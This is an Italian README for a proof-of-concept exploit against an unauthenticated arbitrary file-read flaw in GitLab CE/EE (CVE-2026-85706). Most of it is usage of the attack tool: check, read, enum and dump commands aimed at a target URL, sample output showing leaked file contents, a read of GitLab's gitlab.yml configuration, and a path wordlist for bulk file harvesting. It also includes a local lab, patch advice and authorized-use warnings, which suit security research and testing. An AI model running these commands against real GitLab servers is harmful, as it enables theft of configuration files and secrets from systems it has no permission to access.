
PoC per CVE-2026-85706: lettura arbitraria di file locali non autenticata in GitLab CE/EE
CVE-2026-85706 è un problema critico di path traversal / autenticazione mancante nelle API
Repository Commits e Repository Files di GitLab CE/EE: un attaccante non autenticato può far leggere
al server file arbitrari e ottenerne il contenuto attraverso il canale degli errori. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
Il titolo ufficiale di GitLab è "Path Traversal issue in repository commits API impacts GitLab CE/EE". La correzione è stata rilasciata il 2026-09-10 in 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] Stai eseguendo un GitLab self-managed <= 19.3.1? Aggiorna a 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Solo uso autorizzato. Esegui questo strumento solo contro sistemi che possiedi o che sei esplicitamente autorizzato a testare.
Questo repository contiene una proof of concept indipendente, un laboratorio di riproduzione minimale e un'analisi tecnica completa:
Nessun dato acquisito da sistemi di terze parti è incluso.
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
Il laboratorio è in ascolto solo su 127.0.0.1 e legge solo all'interno della sua sandbox lab/vault/, quindi non può mai toccare
file sulla tua macchina reale.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Aggiungi --insecure per certificati self-signed, e preferisci l'id numerico del progetto rispetto a un percorso codificato
(--project <id> invece di group%2Fproject).
| Comando | Scopo | Opzioni principali |
|---|---|---|
check | Il target è vulnerabile? Confronta le risposte di ogni vettore di bypass | --canary-path, --no-bypass-probe |
read | Legge un file e segnala se il suo contenuto viene divulgato | --file <path>, --media <type> |
enum | Sonda una lista di percorsi e classifica ciascuno | --wordlist, --wordlist-file |
dump | Salva su disco ogni file leggibile, con un manifest e le risposte grezze | --files, --files-file, --outdir |
Le etichette stampate da check:
| Etichetta | Percorso della richiesta |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - il target è vulnerabile?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Codici di uscita: 0 = vulnerabile; 1 = non sfruttabile con i vettori testati (corretto, o la rotta irraggiungibile).
Due dettagli che vale la pena conoscere:
Workhorse bypass probe è la prova del routing: file esiste solo quando Workhorse ha bufferizzato e
firmato il corpo, quindi un 400 {"error":"file is missing"} prova che la rotta di bypass ha saltato quella pipeline
pur raggiungendo comunque l'API. Su una build corretta quell'ultima riga riporta HTTP 401.commits-canonical -> 401) è il caso di controllo: lì Workhorse riscrive
file.path, quindi il valore dell'attaccante non raggiunge mai il codice vulnerabile.read - leggere un singolo file$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Codici di uscita: 0 = contenuto divulgato, o una lettura pre-autenticazione confermata dalla baseline; 1 = nessuna lettura pre-auth osservata.
enum / dump - sondaggio in bloccopython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt include 45 percorsi interessanti di GitLab/Linux; --wordlist / --files possono essere forniti inline o
tramite un file, ed entrambe le forme possono essere combinate. Questi sono gli unici due sottocomandi che toccano contenuti
reali di file - scrivi l'output fuori da questo repository e non pubblicare mai ciò che catturano.
| Opzione | Significato |
|---|---|
--url <base URL> | URL di base del target (obbligatorio) |
--project <id or encoded path> | Id del progetto pubblico (123) o percorso codificato per URL (group%2Fproject), obbligatorio |
--token <PRIVATE-TOKEN> | Opzionale; testa il percorso autenticato |
--insecure | Salta la verifica TLS (certificati self-signed) |
-v, --verbose | Stampa ogni richiesta/risposta su stderr |
--canary-path <path> | Percorso garantito come mancante usato come baseline della vulnerabilità |
--color <mode> | auto (predefinito, colori su un terminale reale), always, never |
L'ordine delle opzioni è importante: le opzioni condivise vanno dopo il sottocomando - check --url ... --insecure, non
--url ... check.
| Test | Risultato |
|---|---|
Controllo corretto - gitlab.com, 19.3.2+ | Ogni vettore restituisce 401; l'unica altra risposta è il 400 {"error":"file is missing"} che prova il bypass di routing |
Laboratorio locale - lab/vulnerable_api.py | Riproduce il bug di fiducia lato Rails end to end; --patched fornisce la build di confronto |
| Istanza self-managed reale - 19.3.1, autorizzazione scritta | Confermata vulnerabile; i dettagli di host e progetto non sono deliberatamente pubblicati qui. Risultati aggregati in ANALYSIS.md, sezione 4.3 |
Questo materiale è fornito per ricerca sulla sicurezza e test autorizzati - il tuo laboratorio, un programma bug-bounty, o un penetration test con permesso scritto. Usalo solo contro sistemi che possiedi o che sei esplicitamente autorizzato a testare. L'accesso non autorizzato a sistemi di terze parti è illegale. Fornito così com'è, senza garanzia di alcun tipo.